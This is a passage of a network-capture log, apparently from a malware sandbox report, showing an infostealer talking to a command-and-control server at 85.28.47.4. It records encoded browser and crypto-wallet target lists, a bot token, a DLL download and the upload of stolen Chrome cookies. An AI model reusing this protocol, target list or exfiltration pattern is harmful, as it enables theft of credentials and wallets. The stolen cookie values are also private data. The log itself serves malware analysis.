R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Jul 1, 2024 07:20:34.579711914 CEST	224	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEu
Jul 1, 2024 07:20:34.579762936 CEST	288	IN	Data Raw: 5a 58 68 6c 66 45 31 76 65 6d 6c 73 62 47 45 67 52 6d 6c 79 5a 57 5a 76 65 48 78 63 54 57 39 36 61 57 78 73 59 56 78 47 61 58 4a 6c 5a 6d 39 34 58 46 42 79 62 32 5a 70 62 47 56 7a 66 47 5a 70 63 6d 56 6d 62 33 68 38 4d 48 78 51 59 57 78 6c 49 45 Data Ascii: ZXhlfE1vemlsbGEgRmlyZWZveHxcTW96aWxsYVxGaXJlZm94XFByb2ZpbGVzfGZpcmVmb3h8MHxQYWxlIE1vb258XE1vb25jaGlsZCBQcm9kdWN0aW9uc1xQYWxlIE1vb25cUHJvZmlsZXN8ZmlyZWZveHwwfE9wZXJhIENyeXB0byBTdGFibGV8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfG9wZXJhLmV4ZXxUaHVuZGVyYmlyZHx
Jul 1, 2024 07:20:34.649693966 CEST	464	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKEGDHCFCAAECAKECBAF Host: 85.28.47.4 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 2d 2d 0d 0a Data Ascii: ------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="message"plugins------JKEGDHCFCAAECAKECBAF--
Jul 1, 2024 07:20:34.832083941 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 05:20:34 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 5416 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jul 1, 2024 07:20:34.832140923 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Jul 1, 2024 07:20:34.832178116 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Jul 1, 2024 07:20:34.832212925 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Jul 1, 2024 07:20:34.832273006 CEST	700	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Jul 1, 2024 07:20:34.835709095 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIDBKJJDGHDHJKEHJDB Host: 85.28.47.4 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="message"fplugins------FIIDBKJJDGHDHJKEHJDB--
Jul 1, 2024 07:20:35.017797947 CEST	335	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 05:20:34 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jul 1, 2024 07:20:35.039299965 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJEHIJEBKEBFBFHIIDHI Host: 85.28.47.4 Content-Length: 6483 Connection: Keep-Alive Cache-Control: no-cache
Jul 1, 2024 07:20:35.039355040 CEST	6483	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 Data Ascii: ------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jul 1, 2024 07:20:35.803379059 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 05:20:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 1, 2024 07:20:36.070133924 CEST	89	OUT	GET /69934896f997d5bb/sqlite3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 1, 2024 07:20:36.250509977 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 05:20:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Jul 1, 2024 07:20:36.250523090 CEST	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Jul 1, 2024 07:20:36.250576019 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 1, 2024 07:20:36.250621080 CEST	1236	IN	Data Raw: ff 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 51 f6 0a 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 2a f6 0a 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 73 fc ff ff 83 ec 0c e9 d9 fe ff ff 89 7c 24 08 c7 44 24 Data Ascii: \|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$'aT$$tL$(D$ M&T$T$U=xgat9$pa\|aQtD$pa$aRR
Jul 1, 2024 07:20:37.592820883 CEST	948	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEB Host: 85.28.47.4 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------EHJKFCGHIDHCBGDHJKEB--
Jul 1, 2024 07:20:38.315148115 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 05:20:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 1, 2024 07:20:38.416740894 CEST	556	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGD Host: 85.28.47.4 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 [TRUNCATED] Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="file"------GIIEGHIDBGHIECAAECGD--
Jul 1, 2024 07:20:38.636799097 CEST	556	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGD Host: 85.28.47.4 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 [TRUNCATED] Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="file"------GIIEGHIDBGHIECAAECGD--
Jul 1, 2024 07:20:38.949199915 CEST	556	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGD Host: 85.28.47.4 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 